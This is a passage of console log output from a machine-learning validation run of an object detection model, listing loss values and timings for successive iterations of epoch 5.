0.0429 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1290/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8919 |hm_loss 0.6009 |wh_loss 2.4816 |off_loss 0.0428 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1291/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8913 |hm_loss 0.6005 |wh_loss 2.4797 |off_loss 0.0428 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1292/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8906 |hm_loss 0.6001 |wh_loss 2.4778 |off_loss 0.0428 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1293/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8900 |hm_loss 0.5997 |wh_loss 2.4759 |off_loss 0.0427 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1294/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8893 |hm_loss 0.5992 |wh_loss 2.4740 |off_loss 0.0427 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1295/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8887 |hm_loss 0.5988 |wh_loss 2.4721 |off_loss 0.0427 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1296/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8880 |hm_loss 0.5984 |wh_loss 2.4702 |off_loss 0.0426 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1297/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8874 |hm_loss 0.5980 |wh_loss 2.4683 |off_loss 0.0426 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1298/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8868 |hm_loss 0.5976 |wh_loss 2.4664 |off_loss 0.0426 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1299/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8861 |hm_loss 0.5971 |wh_loss 2.4645 |off_loss 0.0425 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1300/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8855 |hm_loss 0.5967 |wh_loss 2.4626 |off_loss 0.0425 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1301/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8848 |hm_loss 0.5963 |wh_loss 2.4607 |off_loss 0.0425 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1302/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8842 |hm_loss 0.5959 |wh_loss 2.4588 |off_loss 0.0424 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1303/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8836 |hm_loss 0.5955 |wh_loss 2.4569 |off_loss 0.0424 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1304/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8829 |hm_loss 0.5951 |wh_loss 2.4550 |off_loss 0.0424 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1305/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8823 |hm_loss 0.5946 |wh_loss 2.4531 |off_loss 0.0423 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1306/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8817 |hm_loss 0.5942 |wh_loss 2.4513 |off_loss 0.0423 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1307/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8810 |hm_loss 0.5938 |wh_loss 2.4494 |off_loss 0.0423 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1308/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8804 |hm_loss 0.5934 |wh_loss 2.4475 |off_loss 0.0422 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1309/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8798 |hm_loss 0.5930 |wh_loss 2.4456 |off_loss 0.0422 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1310/2110]|Tot: 0:00:28 |ETA: 0:00:00 |loss 0.8791 |hm_loss 0.5926 |wh_loss 2.4438 |off_loss 0.0422 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1311/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8785 |hm_loss 0.5922 |wh_loss 2.4419 |off_loss 0.0421 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1312/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8779 |hm_loss 0.5918 |wh_loss 2.4401 |off_loss 0.0421 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1313/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8773 |hm_loss 0.5914 |wh_loss 2.4382 |off_loss 0.0421 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1314/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8766 |hm_loss 0.5909 |wh_loss 2.4363 |off_loss 0.0420 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1315/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8760 |hm_loss 0.5905 |wh_loss 2.4345 |off_loss 0.0420 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1316/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8754 |hm_loss 0.5901 |wh_loss 2.4327 |off_loss 0.0420 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1317/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8748 |hm_loss 0.5897 |wh_loss 2.4308 |off_loss 0.0419 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1318/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8741 |hm_loss 0.5893 |wh_loss 2.4290 |off_loss 0.0419 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1319/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8735 |hm_loss 0.5889 |wh_loss 2.4271 |off_loss 0.0419 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1320/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8729 |hm_loss 0.5885 |wh_loss 2.4253 |off_loss 0.0419 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1321/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8723 |hm_loss 0.5881 |wh_loss 2.4234 |off_loss 0.0418 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1322/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8716 |hm_loss 0.5877 |wh_loss 2.4216 |off_loss 0.0418 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1323/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8710 |hm_loss 0.5873 |wh_loss 2.4198 |off_loss 0.0418 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1324/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8704 |hm_loss 0.5869 |wh_loss 2.4180 |off_loss 0.0417 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1325/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8698 |hm_loss 0.5865 |wh_loss 2.4161 |off_loss 0.0417 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1326/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8692 |hm_loss 0.5861 |wh_loss 2.4143 |off_loss 0.0417 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1327/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8686 |hm_loss 0.5857 |wh_loss 2.4125 |off_loss 0.0416 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1328/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8679 |hm_loss 0.5853 |wh_loss 2.4107 |off_loss 0.0416 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1329/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8673 |hm_loss 0.5849 |wh_loss 2.4089 |off_loss 0.0416 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1330/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8667 |hm_loss 0.5845 |wh_loss 2.4071 |off_loss 0.0415 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1331/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8661 |hm_loss 0.5841 |wh_loss 2.4053 |off_loss 0.0415 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1332/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8655 |hm_loss 0.5837 |wh_loss 2.4035 |off_loss 0.0415 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1333/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8649 |hm_loss 0.5833 |wh_loss 2.4016 |off_loss 0.0414 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1334/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8643 |hm_loss 0.5829 |wh_loss 2.3999 |off_loss 0.0414 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1335/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8637 |hm_loss 0.5825 |wh_loss 2.3981 |off_loss 0.0414 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1336/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8631 |hm_loss 0.5821 |wh_loss 2.3963 |off_loss 0.0414 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1337/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8625 |hm_loss 0.5817 |wh_loss 2.3945 |off_loss 0.0413 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1338/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8619 |hm_loss 0.5813 |wh_loss 2.3927 |off_loss 0.0413 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1339/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8612 |hm_loss 0.5809 |wh_loss 2.3909 |off_loss 0.0413 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1340/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8606 |hm_loss 0.5805 |wh_loss 2.3891 |off_loss 0.0412 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1341/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8600 |hm_loss 0.5801 |wh_loss 2.3873 |off_loss 0.0412 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1342/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8594 |hm_loss 0.5797 |wh_loss 2.3856 |off_loss 0.0412 |Data 0.020s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1343/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8588 |hm_loss 0.5793 |wh_loss 2.3838 |off_loss 0.0411 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1344/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8582 |hm_loss 0.5789 |wh_loss 2.3820 |off_loss 0.0411 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1345/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8576 |hm_loss 0.5785 |wh_loss 2.3802 |off_loss 0.0411 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1346/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8571 |hm_loss 0.5782 |wh_loss 2.3785 |off_loss 0.0410 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1347/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8565 |hm_loss 0.5778 |wh_loss 2.3767 |off_loss 0.0410 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1348/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8559 |hm_loss 0.5774 |wh_loss 2.3749 |off_loss 0.0410 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1349/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8553 |hm_loss 0.5770 |wh_loss 2.3732 |off_loss 0.0410 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1350/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8547 |hm_loss 0.5766 |wh_loss 2.3714 |off_loss 0.0409 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1351/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8541 |hm_loss 0.5762 |wh_loss 2.3697 |off_loss 0.0409 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1352/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8535 |hm_loss 0.5758 |wh_loss 2.3679 |off_loss 0.0409 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1353/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8529 |hm_loss 0.5755 |wh_loss 2.3662 |off_loss 0.0408 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1354/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8523 |hm_loss 0.5751 |wh_loss 2.3644 |off_loss 0.0408 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1355/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8517 |hm_loss 0.5747 |wh_loss 2.3627 |off_loss 0.0408 |Data 0.006s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1356/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8511 |hm_loss 0.5743 |wh_loss 2.3609 |off_loss 0.0407 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1357/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8506 |hm_loss 0.5739 |wh_loss 2.3592 |off_loss 0.0407 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1358/2110]|Tot: 0:00:29 |ETA: 0:00:00 |loss 0.8500 |hm_loss 0.5735 |wh_loss 2.3575 |off_loss 0.0407 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1359/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8494 |hm_loss 0.5732 |wh_loss 2.3557 |off_loss 0.0407 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1360/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8488 |hm_loss 0.5728 |wh_loss 2.3540 |off_loss 0.0406 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1361/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8482 |hm_loss 0.5724 |wh_loss 2.3523 |off_loss 0.0406 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1362/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8476 |hm_loss 0.5720 |wh_loss 2.3506 |off_loss 0.0406 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1363/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8470 |hm_loss 0.5716 |wh_loss 2.3488 |off_loss 0.0405 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1364/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8465 |hm_loss 0.5712 |wh_loss 2.3471 |off_loss 0.0405 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1365/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8459 |hm_loss 0.5709 |wh_loss 2.3454 |off_loss 0.0405 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1366/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8453 |hm_loss 0.5705 |wh_loss 2.3437 |off_loss 0.0404 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1367/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8447 |hm_loss 0.5701 |wh_loss 2.3420 |off_loss 0.0404 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1368/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8441 |hm_loss 0.5697 |wh_loss 2.3402 |off_loss 0.0404 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1369/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8436 |hm_loss 0.5694 |wh_loss 2.3385 |off_loss 0.0404 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1370/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8430 |hm_loss 0.5690 |wh_loss 2.3368 |off_loss 0.0403 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1371/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8424 |hm_loss 0.5686 |wh_loss 2.3351 |off_loss 0.0403 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1372/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8418 |hm_loss 0.5682 |wh_loss 2.3334 |off_loss 0.0403 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1373/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8413 |hm_loss 0.5679 |wh_loss 2.3317 |off_loss 0.0402 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1374/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8407 |hm_loss 0.5675 |wh_loss 2.3300 |off_loss 0.0402 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1375/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8401 |hm_loss 0.5671 |wh_loss 2.3283 |off_loss 0.0402 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1376/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8396 |hm_loss 0.5667 |wh_loss 2.3267 |off_loss 0.0401 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1377/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8390 |hm_loss 0.5664 |wh_loss 2.3250 |off_loss 0.0401 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1378/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8384 |hm_loss 0.5660 |wh_loss 2.3233 |off_loss 0.0401 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1379/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8378 |hm_loss 0.5656 |wh_loss 2.3216 |off_loss 0.0401 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1380/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8373 |hm_loss 0.5653 |wh_loss 2.3199 |off_loss 0.0400 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1381/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8367 |hm_loss 0.5649 |wh_loss 2.3182 |off_loss 0.0400 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1382/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8361 |hm_loss 0.5645 |wh_loss 2.3166 |off_loss 0.0400 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1383/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8356 |hm_loss 0.5641 |wh_loss 2.3149 |off_loss 0.0399 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1384/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8350 |hm_loss 0.5638 |wh_loss 2.3132 |off_loss 0.0399 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1385/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8345 |hm_loss 0.5634 |wh_loss 2.3115 |off_loss 0.0399 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1386/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8339 |hm_loss 0.5630 |wh_loss 2.3099 |off_loss 0.0399 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1387/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8333 |hm_loss 0.5627 |wh_loss 2.3082 |off_loss 0.0398 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1388/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8328 |hm_loss 0.5623 |wh_loss 2.3066 |off_loss 0.0398 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1389/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8360 |hm_loss 0.5644 |wh_loss 2.3169 |off_loss 0.0399 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1390/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8402 |hm_loss 0.5671 |wh_loss 2.3298 |off_loss 0.0401 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1391/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8441 |hm_loss 0.5699 |wh_loss 2.3391 |off_loss 0.0404 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1392/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8485 |hm_loss 0.5727 |wh_loss 2.3543 |off_loss 0.0404 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1393/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8479 |hm_loss 0.5723 |wh_loss 2.3526 |off_loss 0.0403 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1394/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8473 |hm_loss 0.5719 |wh_loss 2.3509 |off_loss 0.0403 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1395/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8468 |hm_loss 0.5715 |wh_loss 2.3492 |off_loss 0.0403 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1396/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8462 |hm_loss 0.5712 |wh_loss 2.3475 |off_loss 0.0403 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1397/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8456 |hm_loss 0.5708 |wh_loss 2.3459 |off_loss 0.0402 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1398/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8451 |hm_loss 0.5704 |wh_loss 2.3442 |off_loss 0.0402 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1399/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8445 |hm_loss 0.5701 |wh_loss 2.3425 |off_loss 0.0402 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1400/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8439 |hm_loss 0.5697 |wh_loss 2.3408 |off_loss 0.0401 |Data 0.005s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1401/2110]|Tot: 0:00:30 |ETA: 0:00:00 |loss 0.8434 |hm_loss 0.5693 |wh_loss 2.3392 |off_loss 0.0401 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1402/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8428 |hm_loss 0.5690 |wh_loss 2.3375 |off_loss 0.0401 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1403/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8422 |hm_loss 0.5686 |wh_loss 2.3358 |off_loss 0.0401 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1404/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8417 |hm_loss 0.5682 |wh_loss 2.3342 |off_loss 0.0400 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1405/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8411 |hm_loss 0.5679 |wh_loss 2.3325 |off_loss 0.0400 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1406/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8406 |hm_loss 0.5675 |wh_loss 2.3309 |off_loss 0.0400 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1407/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8400 |hm_loss 0.5671 |wh_loss 2.3292 |off_loss 0.0399 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1408/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8394 |hm_loss 0.5668 |wh_loss 2.3276 |off_loss 0.0399 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1409/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8389 |hm_loss 0.5664 |wh_loss 2.3259 |off_loss 0.0399 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1410/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8383 |hm_loss 0.5660 |wh_loss 2.3243 |off_loss 0.0399 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1411/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8378 |hm_loss 0.5657 |wh_loss 2.3226 |off_loss 0.0398 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1412/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8372 |hm_loss 0.5653 |wh_loss 2.3210 |off_loss 0.0398 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1413/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8367 |hm_loss 0.5649 |wh_loss 2.3193 |off_loss 0.0398 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1414/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8361 |hm_loss 0.5646 |wh_loss 2.3177 |off_loss 0.0398 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1415/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8356 |hm_loss 0.5642 |wh_loss 2.3160 |off_loss 0.0397 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1416/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8350 |hm_loss 0.5639 |wh_loss 2.3144 |off_loss 0.0397 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1417/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8391 |hm_loss 0.5663 |wh_loss 2.3300 |off_loss 0.0398 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1418/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8429 |hm_loss 0.5690 |wh_loss 2.3393 |off_loss 0.0401 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1419/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8473 |hm_loss 0.5717 |wh_loss 2.3530 |off_loss 0.0403 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1420/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8515 |hm_loss 0.5744 |wh_loss 2.3646 |off_loss 0.0407 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1421/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8510 |hm_loss 0.5740 |wh_loss 2.3629 |off_loss 0.0407 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1422/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8504 |hm_loss 0.5736 |wh_loss 2.3613 |off_loss 0.0406 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1423/2110]|Tot: 0:00:31 |ETA: 0:00:00 |loss 0.8499 |hm_loss 0.5733 |wh_loss 